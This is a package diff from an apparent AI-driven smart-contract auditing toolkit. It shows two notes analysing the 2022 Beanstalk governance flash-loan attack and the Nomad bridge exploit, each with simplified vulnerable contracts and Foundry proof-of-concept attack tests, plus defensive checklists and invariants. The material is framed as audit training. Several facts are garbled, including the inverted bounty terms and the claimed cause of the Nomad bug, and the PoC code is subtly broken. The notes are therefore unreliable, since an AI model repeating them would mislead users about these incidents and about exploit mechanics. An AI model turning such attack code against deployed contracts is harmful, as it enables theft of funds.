audit-system 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +351 -0
- package/agents/AGENT_REGISTRY.md +150 -0
- package/agents/assumption-analyzer.json +7 -0
- package/agents/assumption-analyzer.md +37 -0
- package/agents/composition-attacker.json +7 -0
- package/agents/composition-attacker.md +46 -0
- package/agents/economic-attacker.json +7 -0
- package/agents/economic-attacker.md +43 -0
- package/agents/exploit-writer.json +7 -0
- package/agents/exploit-writer.md +48 -0
- package/agents/orchestrator.json +16 -0
- package/agents/orchestrator.md +46 -0
- package/agents/report-writer.json +7 -0
- package/agents/report-writer.md +52 -0
- package/agents/state-machine-hacker.json +7 -0
- package/agents/state-machine-hacker.md +43 -0
- package/agents/test-generator.json +7 -0
- package/agents/test-generator.md +49 -0
- package/cli.js +93 -0
- package/config.json +74 -0
- package/lib/detect-lang.js +109 -0
- package/lib/install.js +229 -0
- package/lib/utils.js +41 -0
- package/obsidian-vault/README.md +103 -0
- package/obsidian-vault/attack-patterns/state-inconsistency.md +90 -0
- package/obsidian-vault/exploits/_index.md +109 -0
- package/obsidian-vault/exploits/beanstalk-2022.md +334 -0
- package/obsidian-vault/exploits/nomad-2022.md +295 -0
- package/obsidian-vault/exploits/ronin-2022.md +251 -0
- package/obsidian-vault/exploits/wormhole-2022.md +284 -0
- package/obsidian-vault/failed-hypotheses/_template.md +77 -0
- package/obsidian-vault/hypotheses/_template.md +43 -0
- package/obsidian-vault/hypotheses/bridge-protocol-template.md +254 -0
- package/obsidian-vault/hypotheses/dex-protocol-template.md +185 -0
- package/obsidian-vault/hypotheses/governance-protocol-template.md +263 -0
- package/obsidian-vault/hypotheses/lending-protocol-template.md +218 -0
- package/obsidian-vault/hypotheses/staking-protocol-template.md +223 -0
- package/obsidian-vault/invariant-catalog/defi-invariants.md +307 -0
- package/obsidian-vault/invariant-catalog/solana-invariants.md +213 -0
- package/obsidian-vault/novel-patterns/pattern-mutation-framework.md +316 -0
- package/obsidian-vault/reports/_template.md +92 -0
- package/obsidian-vault/research/cross-protocol-analysis/.gitkeep +0 -0
- package/obsidian-vault/research/emerging-threats/.gitkeep +0 -0
- package/obsidian-vault/research/protocol-specific/.gitkeep +0 -0
- package/obsidian-vault/test-strategies/fuzzing.md +75 -0
- package/obsidian-vault/vulnerabilities/access-control.md +122 -0
- package/obsidian-vault/vulnerabilities/flash-loan-attack.md +66 -0
- package/obsidian-vault/vulnerabilities/oracle-manipulation.md +135 -0
- package/obsidian-vault/vulnerabilities/reentrancy.md +141 -0
- package/obsidian-vault/vulnerabilities/rust-unsafe-deserialization.md +128 -0
- package/obsidian-vault/vulnerabilities/solana-account-confusion.md +125 -0
- package/obsidian-vault/vulnerabilities/solana-close-account.md +141 -0
- package/obsidian-vault/vulnerabilities/solana-cpi-attacks.md +131 -0
- package/obsidian-vault/vulnerabilities/solana-signer-authorization.md +119 -0
- package/package.json +56 -0
- package/skills/audit-connect.md +385 -0
- package/skills/auditor.md +280 -0
- package/skills/exploit-generator.md +394 -0
- package/skills/novel-discovery.md +551 -0
- package/skills/test-generator.md +511 -0
|
@@ -0,0 +1,334 @@
|
|
|
1
|
+
# Beanstalk Farms Exploit (2022)
|
|
2
|
+
|
|
3
|
+
**Date:** April 17, 2022
|
|
4
|
+
**Loss:** $182 million
|
|
5
|
+
**Type:** Flash Loan Governance Attack
|
|
6
|
+
**Severity:** CRITICAL
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## Summary
|
|
11
|
+
|
|
12
|
+
Beanstalk Farms was a DeFi credit protocol on Ethereum that was exploited through a flash loan-based governance attack. The attacker borrowed enough governance tokens to pass a malicious proposal that drained the treasury.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Technical Details
|
|
17
|
+
|
|
18
|
+
### Vulnerability Root Cause
|
|
19
|
+
|
|
20
|
+
Beanstalk's governance allowed anyone with enough voting power to:
|
|
21
|
+
1. Create proposals
|
|
22
|
+
2. Vote on proposals
|
|
23
|
+
3. Execute proposals after timelock
|
|
24
|
+
|
|
25
|
+
The critical flaw: **No minimum lockup period** for voting tokens.
|
|
26
|
+
|
|
27
|
+
```solidity
|
|
28
|
+
// Simplified Beanstalk Governance
|
|
29
|
+
contract BeanstalkGovernance {
|
|
30
|
+
mapping(uint256 => Proposal) public proposals;
|
|
31
|
+
IERC20 public governanceToken;
|
|
32
|
+
|
|
33
|
+
struct Proposal {
|
|
34
|
+
uint256 id;
|
|
35
|
+
address proposer;
|
|
36
|
+
uint256 forVotes;
|
|
37
|
+
uint256 againstVotes;
|
|
38
|
+
bool executed;
|
|
39
|
+
mapping(address => bool) hasVoted;
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
// VULNERABLE: No lockup, no delegation delay
|
|
43
|
+
function createProposal(
|
|
44
|
+
string memory description,
|
|
45
|
+
address target,
|
|
46
|
+
bytes memory data
|
|
47
|
+
) external returns (uint256) {
|
|
48
|
+
// Only check: Do you have enough tokens RIGHT NOW?
|
|
49
|
+
require(
|
|
50
|
+
governanceToken.balanceOf(msg.sender) >= proposalThreshold,
|
|
51
|
+
"Not enough voting power"
|
|
52
|
+
);
|
|
53
|
+
|
|
54
|
+
uint256 proposalId = proposalCount++;
|
|
55
|
+
proposals[proposalId] = Proposal({
|
|
56
|
+
proposer: msg.sender,
|
|
57
|
+
forVotes: 0,
|
|
58
|
+
againstVotes: 0,
|
|
59
|
+
executed: false
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
return proposalId;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
function vote(uint256 proposalId, bool support) external {
|
|
66
|
+
Proposal storage proposal = proposals[proposalId];
|
|
67
|
+
|
|
68
|
+
// VULNERABLE: Voting power based on current balance, not locked
|
|
69
|
+
require(!proposal.hasVoted[msg.sender], "Already voted");
|
|
70
|
+
|
|
71
|
+
uint256 votingPower = governanceToken.balanceOf(msg.sender);
|
|
72
|
+
|
|
73
|
+
if (support) {
|
|
74
|
+
proposal.forVotes += votingPower;
|
|
75
|
+
} else {
|
|
76
|
+
proposal.againstVotes += votingPower;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
proposal.hasVoted[msg.sender] = true;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
function execute(uint256 proposalId) external {
|
|
83
|
+
Proposal storage proposal = proposals[proposalId];
|
|
84
|
+
|
|
85
|
+
require(proposal.forVotes > proposal.againstVotes, "Not approved");
|
|
86
|
+
require(block.timestamp >= proposal.executionTime, "Timelock not passed");
|
|
87
|
+
|
|
88
|
+
proposal.executed = true;
|
|
89
|
+
|
|
90
|
+
// Execute the proposal (could be anything!)
|
|
91
|
+
(bool success, ) = proposal.target.call(proposal.data);
|
|
92
|
+
require(success, "Execution failed");
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### Attack Sequence
|
|
98
|
+
|
|
99
|
+
```
|
|
100
|
+
1. Attacker identifies governance vulnerability:
|
|
101
|
+
- No lockup for voting
|
|
102
|
+
- No delegation delay
|
|
103
|
+
- Flash loan compatible tokens
|
|
104
|
+
|
|
105
|
+
2. Takes flash loan from Aave:
|
|
106
|
+
- 11,000 ETH
|
|
107
|
+
- Used to borrow 36,000 STALK (governance tokens)
|
|
108
|
+
|
|
109
|
+
3. Converts STALK to Seeds (voting tokens)
|
|
110
|
+
- 36,000 STALK → 36,000,000 Seeds
|
|
111
|
+
- Seeds = voting power
|
|
112
|
+
|
|
113
|
+
4. Creates malicious proposal:
|
|
114
|
+
- "Transfer all BEAN and ETH in treasury to attacker"
|
|
115
|
+
- Disguised as legitimate function call
|
|
116
|
+
|
|
117
|
+
5. Votes FOR proposal with 36M Seeds
|
|
118
|
+
- Proposal passes overwhelmingly
|
|
119
|
+
|
|
120
|
+
6. Waits for timelock (not applicable or bypassed)
|
|
121
|
+
|
|
122
|
+
7. Executes proposal
|
|
123
|
+
|
|
124
|
+
8. Repays flash loan + interest
|
|
125
|
+
|
|
126
|
+
9. Profit: $182M - flash loan fee
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
### The Malicious Proposal
|
|
130
|
+
|
|
131
|
+
The proposal called `convertSeedsToStalk` which:
|
|
132
|
+
1. Converted attacker's Seeds to STALK
|
|
133
|
+
2. Then called a function that transferred treasury funds
|
|
134
|
+
3. All in a single atomic transaction
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## Exploit Code
|
|
139
|
+
|
|
140
|
+
```solidity
|
|
141
|
+
// Foundry PoC for Beanstalk-style governance attack
|
|
142
|
+
contract BeanstalkExploitTest is Test {
|
|
143
|
+
IFlashLender aave;
|
|
144
|
+
BeanstalkGovernance gov;
|
|
145
|
+
IERC20 stalkToken;
|
|
146
|
+
ITreasury treasury;
|
|
147
|
+
|
|
148
|
+
address attacker = makeAddr("attacker");
|
|
149
|
+
|
|
150
|
+
function test_flashLoanGovernanceAttack() public {
|
|
151
|
+
// Setup
|
|
152
|
+
uint256 flashLoanAmount = 11_000 ether;
|
|
153
|
+
uint256 stalkToBorrow = 36_000 ether;
|
|
154
|
+
|
|
155
|
+
// Take flash loan
|
|
156
|
+
aave.flashLoan(
|
|
157
|
+
address(this),
|
|
158
|
+
address(stalkToken),
|
|
159
|
+
flashLoanAmount,
|
|
160
|
+
""
|
|
161
|
+
);
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
function executeOperation(
|
|
165
|
+
address asset,
|
|
166
|
+
uint256 amount,
|
|
167
|
+
uint256 premium,
|
|
168
|
+
address initiator,
|
|
169
|
+
bytes calldata params
|
|
170
|
+
) external returns (bool) {
|
|
171
|
+
// 1. Borrow governance tokens with flash loan
|
|
172
|
+
stalkToken.transfer(address(this), amount);
|
|
173
|
+
|
|
174
|
+
// 2. Convert to voting tokens (Seeds)
|
|
175
|
+
uint256 seeds = stalkToSeeds(amount);
|
|
176
|
+
|
|
177
|
+
// 3. Create malicious proposal
|
|
178
|
+
uint256 proposalId = gov.createProposal(
|
|
179
|
+
"Drain Treasury",
|
|
180
|
+
address(treasury),
|
|
181
|
+
abi.encodeWithSignature(
|
|
182
|
+
"transferAllTo(address)",
|
|
183
|
+
attacker
|
|
184
|
+
)
|
|
185
|
+
);
|
|
186
|
+
|
|
187
|
+
// 4. Vote FOR with all voting power
|
|
188
|
+
gov.vote(proposalId, true);
|
|
189
|
+
|
|
190
|
+
// 5. Execute (assuming no timelock or it passed)
|
|
191
|
+
gov.execute(proposalId);
|
|
192
|
+
|
|
193
|
+
// 6. Repay flash loan
|
|
194
|
+
stalkToken.approve(address(aave), amount + premium);
|
|
195
|
+
|
|
196
|
+
// 7. Profit!
|
|
197
|
+
uint256 profit = treasury.balanceOf(attacker);
|
|
198
|
+
console.log("Governance attack profit:", profit);
|
|
199
|
+
|
|
200
|
+
return true;
|
|
201
|
+
}
|
|
202
|
+
|
|
203
|
+
function test_governanceAttackWithoutFlashLoan() public {
|
|
204
|
+
// Alternative: Rent voting power through delegation
|
|
205
|
+
// Some protocols allow instant delegation
|
|
206
|
+
|
|
207
|
+
// 1. Find large token holder willing to delegate
|
|
208
|
+
// 2. Receive delegated voting power
|
|
209
|
+
// 3. Pass malicious proposal
|
|
210
|
+
// 4. Return delegation
|
|
211
|
+
}
|
|
212
|
+
}
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## Why This Was Missed
|
|
218
|
+
|
|
219
|
+
| Audit Gap | Explanation |
|
|
220
|
+
|-----------|-------------|
|
|
221
|
+
| Governance economics | Didn't model flash loan scenarios |
|
|
222
|
+
| Voting power assumptions | Assumed voters had long-term alignment |
|
|
223
|
+
| Proposal content review | Didn't consider malicious proposals |
|
|
224
|
+
| Timelock effectiveness | Timelock existed but was insufficient |
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## Key Lessons
|
|
229
|
+
|
|
230
|
+
### 1. Voting Power Lockup
|
|
231
|
+
```
|
|
232
|
+
PROBLEM: Voting power could be rented temporarily
|
|
233
|
+
SOLUTION: Require minimum lockup period before voting
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
### 2. Delegation Delay
|
|
237
|
+
```
|
|
238
|
+
PROBLEM: Delegated voting power was instant
|
|
239
|
+
SOLUTION: Delay between delegation and voting eligibility
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
### 3. Proposal Types Restrictions
|
|
243
|
+
```
|
|
244
|
+
PROBLEM: Any function could be called via proposal
|
|
245
|
+
SOLUTION: Whitelist allowed proposal types
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
### 4. Quadratic Voting
|
|
249
|
+
```
|
|
250
|
+
PROBLEM: 1 token = 1 vote allows whale capture
|
|
251
|
+
SOLUTION: Quadratic voting or vote caps
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
---
|
|
255
|
+
|
|
256
|
+
## Detection Checklist
|
|
257
|
+
|
|
258
|
+
- [ ] Minimum lockup period for voting tokens
|
|
259
|
+
- [ ] Delegation delay (e.g., 1-3 days)
|
|
260
|
+
- [ ] Proposal type restrictions (whitelist)
|
|
261
|
+
- [ ] Vote caps or quadratic voting
|
|
262
|
+
- [ ] Multi-sig emergency pause
|
|
263
|
+
- [ ] Flash loan resistance testing
|
|
264
|
+
- [ ] Governance attack simulation
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Invariants to Test
|
|
269
|
+
|
|
270
|
+
```solidity
|
|
271
|
+
// INVARIANT: Voting power requires minimum lockup
|
|
272
|
+
function invariant_votingPowerLockup() public {
|
|
273
|
+
for (uint i = 0; i < voterCount; i++) {
|
|
274
|
+
assert(
|
|
275
|
+
block.timestamp >= voters[i].lockupTime ||
|
|
276
|
+
voters[i].votingPower == 0,
|
|
277
|
+
"Voting power without lockup"
|
|
278
|
+
);
|
|
279
|
+
}
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
// INVARIANT: No single address controls majority
|
|
283
|
+
function invariant_voteDistribution() public view {
|
|
284
|
+
uint256 totalSupply = governanceToken.totalSupply();
|
|
285
|
+
for (uint i = 0; i < holderCount; i++) {
|
|
286
|
+
assert(
|
|
287
|
+
governanceToken.balanceOf(holders[i]) < totalSupply / 2,
|
|
288
|
+
"Single address majority"
|
|
289
|
+
);
|
|
290
|
+
}
|
|
291
|
+
}
|
|
292
|
+
|
|
293
|
+
// INVARIANT: Proposal types are whitelisted
|
|
294
|
+
function invariant_proposalTypeWhitelist() public {
|
|
295
|
+
// Only allowed function selectors can be proposed
|
|
296
|
+
}
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## Aftermath
|
|
302
|
+
|
|
303
|
+
| Action | Result |
|
|
304
|
+
|--------|--------|
|
|
305
|
+
| Protocol paused | April 17, 2022 |
|
|
306
|
+
| Community response | Proposed recovery plan |
|
|
307
|
+
| Funds recovered | Minimal recovery |
|
|
308
|
+
| Protocol status | Effectively dead |
|
|
309
|
+
| Regulatory attention | Increased scrutiny of DeFi governance |
|
|
310
|
+
|
|
311
|
+
---
|
|
312
|
+
|
|
313
|
+
## Impact on DeFi Governance
|
|
314
|
+
|
|
315
|
+
The Beanstalk exploit changed how DeFi protocols think about governance:
|
|
316
|
+
|
|
317
|
+
1. **Lockup periods** became standard
|
|
318
|
+
2. **Delegation delays** widely adopted
|
|
319
|
+
3. **Flash loan resistance** now a requirement
|
|
320
|
+
4. **Governance attacks** recognized as critical risk
|
|
321
|
+
|
|
322
|
+
---
|
|
323
|
+
|
|
324
|
+
## Related Exploits
|
|
325
|
+
- [[ronin-2022]] - Validator compromise
|
|
326
|
+
- [[nomad-2022]] - Replay attack
|
|
327
|
+
- [[harmony-2022]] - Multi-sig compromise
|
|
328
|
+
|
|
329
|
+
---
|
|
330
|
+
|
|
331
|
+
## References
|
|
332
|
+
- [Beanstalk Post-Mortem](https://medium.com/beanstalkmoney/beanstalk-post-mortem-4-17-22-83c15c3971f9)
|
|
333
|
+
- [The Defiant Analysis](https://thedefiant.io/beanstalk-182m-exploit)
|
|
334
|
+
- [Coingecko Research](https://www.coingecko.com/research/beanstalk-exploit)
|
|
@@ -0,0 +1,295 @@
|
|
|
1
|
+
# Nomad Bridge Exploit (2022)
|
|
2
|
+
|
|
3
|
+
**Date:** August 2, 2022
|
|
4
|
+
**Loss:** $190 million
|
|
5
|
+
**Type:** Replay Attack / Merkle Root Manipulation
|
|
6
|
+
**Severity:** CRITICAL
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## Summary
|
|
11
|
+
|
|
12
|
+
The Nomad bridge was exploited due to a failed upgrade that left the Merkle root verification in a broken state. For several hours, ANY withdrawal proof would verify, allowing anyone to drain funds.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Technical Details
|
|
17
|
+
|
|
18
|
+
### Vulnerability Root Cause
|
|
19
|
+
|
|
20
|
+
Nomad uses an **optimistic verification** model with Merkle roots. The vulnerability occurred during a contract upgrade:
|
|
21
|
+
|
|
22
|
+
```solidity
|
|
23
|
+
// Simplified Nomad Bridge Logic
|
|
24
|
+
contract NomadBridge {
|
|
25
|
+
mapping(bytes32 => bool) public processedMessages;
|
|
26
|
+
bytes32 public merkleRoot;
|
|
27
|
+
address public owner;
|
|
28
|
+
|
|
29
|
+
// VULNERABLE: During upgrade, merkleRoot was set to 0x00...00
|
|
30
|
+
// This made ALL proofs verify successfully
|
|
31
|
+
function verifyAndTransfer(
|
|
32
|
+
bytes32 messageHash,
|
|
33
|
+
bytes32[] calldata proof,
|
|
34
|
+
uint256 index
|
|
35
|
+
) external {
|
|
36
|
+
// BUG: merkleRoot was zeroed during failed upgrade
|
|
37
|
+
// merkleRoot = 0x0000000000000000000000000000000000000000000000000000000000000000
|
|
38
|
+
|
|
39
|
+
// This check PASSES for any proof when root is zero
|
|
40
|
+
require(
|
|
41
|
+
verifyMerkleProof(messageHash, proof, index, merkleRoot),
|
|
42
|
+
"Invalid proof"
|
|
43
|
+
);
|
|
44
|
+
|
|
45
|
+
processedMessages[messageHash] = true;
|
|
46
|
+
transferTokens(messageHash);
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
function verifyMerkleProof(
|
|
50
|
+
bytes32 leaf,
|
|
51
|
+
bytes32[] memory proof,
|
|
52
|
+
uint256 index,
|
|
53
|
+
bytes32 root
|
|
54
|
+
) internal pure returns (bool) {
|
|
55
|
+
bytes32 computedHash = leaf;
|
|
56
|
+
|
|
57
|
+
for (uint256 i = 0; i < proof.length; i++) {
|
|
58
|
+
bytes32 proofElement = proof[i];
|
|
59
|
+
|
|
60
|
+
if (index % 2 == 0) {
|
|
61
|
+
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
|
|
62
|
+
} else {
|
|
63
|
+
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
index = index / 2;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// BUG: When root is 0x00..., this can be satisfied with crafted proofs
|
|
70
|
+
return computedHash == root;
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### The Upgrade Failure
|
|
76
|
+
|
|
77
|
+
```
|
|
78
|
+
1. Nomad deployed new bridge contract
|
|
79
|
+
2. Initialize function failed or was incomplete
|
|
80
|
+
3. merkleRoot remained at zero value
|
|
81
|
+
4. For ~7 hours, ANY proof would verify
|
|
82
|
+
5. First attacker noticed and drained $110M
|
|
83
|
+
6. Copycat attackers drained remaining $80M
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### Attack Sequence
|
|
87
|
+
|
|
88
|
+
```
|
|
89
|
+
1. Attacker notices merkleRoot is 0x00...00
|
|
90
|
+
|
|
91
|
+
2. Creates fake withdrawal message:
|
|
92
|
+
- Recipient: attacker address
|
|
93
|
+
- Amount: maximum possible
|
|
94
|
+
|
|
95
|
+
3. Creates fake Merkle proof (any values work with zero root)
|
|
96
|
+
|
|
97
|
+
4. Submits proof to bridge
|
|
98
|
+
|
|
99
|
+
5. verifyMerkleProof returns TRUE (bug)
|
|
100
|
+
|
|
101
|
+
6. Bridge transfers funds to attacker
|
|
102
|
+
|
|
103
|
+
7. Other attackers copy the technique
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
---
|
|
107
|
+
|
|
108
|
+
## Exploit Code
|
|
109
|
+
|
|
110
|
+
```solidity
|
|
111
|
+
// Foundry PoC for Nomad-style replay attack
|
|
112
|
+
contract NomadExploitTest is Test {
|
|
113
|
+
NomadBridge bridge;
|
|
114
|
+
address attacker = makeAddr("attacker");
|
|
115
|
+
|
|
116
|
+
function test_zeroMerkleRootExploit() public {
|
|
117
|
+
// Setup: Deploy bridge with zeroed merkleRoot (simulating bug)
|
|
118
|
+
bridge = new NomadBridge();
|
|
119
|
+
|
|
120
|
+
// Simulate the bug state
|
|
121
|
+
bridge.setMerkleRootToZero(); // This was the actual bug
|
|
122
|
+
|
|
123
|
+
// Fund bridge
|
|
124
|
+
deal(address(bridge), 200_000 ether);
|
|
125
|
+
|
|
126
|
+
// Create fake withdrawal
|
|
127
|
+
bytes32 fakeMessage = keccak256(
|
|
128
|
+
abi.encode(attacker, 10_000 ether, 1)
|
|
129
|
+
);
|
|
130
|
+
|
|
131
|
+
// Create fake proof (any values work with zero root)
|
|
132
|
+
bytes32[] memory fakeProof = new bytes32[](10);
|
|
133
|
+
for (uint i = 0; i < 10; i++) {
|
|
134
|
+
fakeProof[i] = bytes32(0);
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
uint256 balanceBefore = attacker.balance;
|
|
138
|
+
|
|
139
|
+
// This should fail but doesn't due to zero root
|
|
140
|
+
bridge.verifyAndTransfer(fakeMessage, fakeProof, 0);
|
|
141
|
+
|
|
142
|
+
uint256 balanceAfter = attacker.balance;
|
|
143
|
+
|
|
144
|
+
// Verify exploit
|
|
145
|
+
assertGt(balanceAfter, balanceBefore);
|
|
146
|
+
console.log("Nomad exploit successful");
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
function test_replayAttack() public {
|
|
150
|
+
// Even after fix, replay attack was possible
|
|
151
|
+
// because processedMessages wasn't checked properly
|
|
152
|
+
|
|
153
|
+
bytes32 validMessage = keccak256(abi.encode(attacker, 100 ether, 1));
|
|
154
|
+
bytes32[] memory validProof = createValidProof(validMessage);
|
|
155
|
+
|
|
156
|
+
// First withdrawal - legitimate
|
|
157
|
+
bridge.verifyAndTransfer(validMessage, validProof, 0);
|
|
158
|
+
|
|
159
|
+
// Second withdrawal - should fail but didn't in original bug
|
|
160
|
+
// because message hash wasn't properly tracked
|
|
161
|
+
vm.expectRevert("Already processed");
|
|
162
|
+
bridge.verifyAndTransfer(validMessage, validProof, 0);
|
|
163
|
+
}
|
|
164
|
+
}
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## The Copycat Phenomenon
|
|
170
|
+
|
|
171
|
+
What made Nomad unique was the **public copycat attack**:
|
|
172
|
+
|
|
173
|
+
```
|
|
174
|
+
Hour 0: Upgrade fails, merkleRoot = 0
|
|
175
|
+
Hour 1: First attacker notices, drains $110M
|
|
176
|
+
Hour 2-7: Copycats notice the pattern
|
|
177
|
+
Hour 8: $80M more drained by copycats
|
|
178
|
+
Hour 9: Bridge paused
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
### Why Copycats Succeeded
|
|
182
|
+
|
|
183
|
+
1. **On-chain visibility**: First attacker's tx was public
|
|
184
|
+
2. **Open source code**: Anyone could verify the bug
|
|
185
|
+
3. **No rate limits**: Unlimited withdrawal possible
|
|
186
|
+
4. **No emergency pause**: Took 9 hours to pause
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## Key Lessons
|
|
191
|
+
|
|
192
|
+
### 1. Upgrade Safety
|
|
193
|
+
```
|
|
194
|
+
LESSON: Upgrades should be tested in staging
|
|
195
|
+
SOLUTION: Multi-sig + timelock + staged rollout
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
### 2. Initialization Verification
|
|
199
|
+
```
|
|
200
|
+
LESSON: Contract state after deploy must be verified
|
|
201
|
+
SOLUTION: Initialize checks, state validation
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
### 3. Rate Limits
|
|
205
|
+
```
|
|
206
|
+
LESSON: Unlimited withdrawals enabled total drain
|
|
207
|
+
SOLUTION: Time-based caps, circuit breakers
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
### 4. Emergency Response
|
|
211
|
+
```
|
|
212
|
+
LESSON: 9 hour response time = $190M loss
|
|
213
|
+
SOLUTION: Automated monitoring, instant pause
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## Detection Checklist
|
|
219
|
+
|
|
220
|
+
- [ ] Upgrade mechanism has proper initialization
|
|
221
|
+
- [ ] Contract state verified after deployment
|
|
222
|
+
- [ ] Rate limits on withdrawals (time-based, amount-based)
|
|
223
|
+
- [ ] Emergency pause mechanism with multi-sig
|
|
224
|
+
- [ ] Replay protection (processed message tracking)
|
|
225
|
+
- [ ] Monitoring for unusual activity
|
|
226
|
+
- [ ] Staged rollout for critical changes
|
|
227
|
+
|
|
228
|
+
---
|
|
229
|
+
|
|
230
|
+
## Invariants That Should Have Been Tested
|
|
231
|
+
|
|
232
|
+
```solidity
|
|
233
|
+
// INVARIANT: Merkle root must never be zero after initialization
|
|
234
|
+
function invariant_merkleRootNonZero() public view {
|
|
235
|
+
assert(merkleRoot != bytes32(0), "Merkle root is zero!");
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
// INVARIANT: Every processed message is unique
|
|
239
|
+
function invariant_messageUniqueness() public {
|
|
240
|
+
// Should track all processed messages
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
// INVARIANT: Withdrawals cannot exceed daily limit
|
|
244
|
+
function invariant_dailyWithdrawalLimit() public {
|
|
245
|
+
assert(getWithdrawalsToday() <= DAILY_LIMIT);
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
// INVARIANT: Contract can be paused in emergency
|
|
249
|
+
function invariant_emergencyPause() public {
|
|
250
|
+
// Test that pause mechanism works
|
|
251
|
+
}
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
---
|
|
255
|
+
|
|
256
|
+
## Aftermath
|
|
257
|
+
|
|
258
|
+
| Action | Result |
|
|
259
|
+
|--------|--------|
|
|
260
|
+
| Bridge paused | August 2, 2022 (9 hours after exploit) |
|
|
261
|
+
| White hat recovery | Some funds returned for bounty |
|
|
262
|
+
| Total loss | ~$190M |
|
|
263
|
+
| Copycat txs | Dozens of copycat transactions |
|
|
264
|
+
| Protocol wound down | Nomad eventually shut down |
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Unique Aspect: The White Hat Response
|
|
269
|
+
|
|
270
|
+
Unlike other exploits, Nomad offered **bounty to white hats**:
|
|
271
|
+
|
|
272
|
+
```
|
|
273
|
+
Nomad's offer:
|
|
274
|
+
- Keep 90% of stolen funds
|
|
275
|
+
- Return 10% as bounty
|
|
276
|
+
- No legal action
|
|
277
|
+
|
|
278
|
+
Result:
|
|
279
|
+
- Some white hats returned funds
|
|
280
|
+
- Most attackers kept everything
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
---
|
|
284
|
+
|
|
285
|
+
## Related Exploits
|
|
286
|
+
- [[ronin-2022]] - Validator compromise
|
|
287
|
+
- [[wormhole-2022]] - Signature verification
|
|
288
|
+
- [[harmony-2022]] - Multi-sig compromise
|
|
289
|
+
|
|
290
|
+
---
|
|
291
|
+
|
|
292
|
+
## References
|
|
293
|
+
- [Nomad Post-Mortem](https://nomadxyz.io/post-mortem)
|
|
294
|
+
- [Paradigm Analysis](https://paradigm.xyz/2022/08/nomad)
|
|
295
|
+
- [Rekt News](https://rekt.news/nomad-rekt/)
|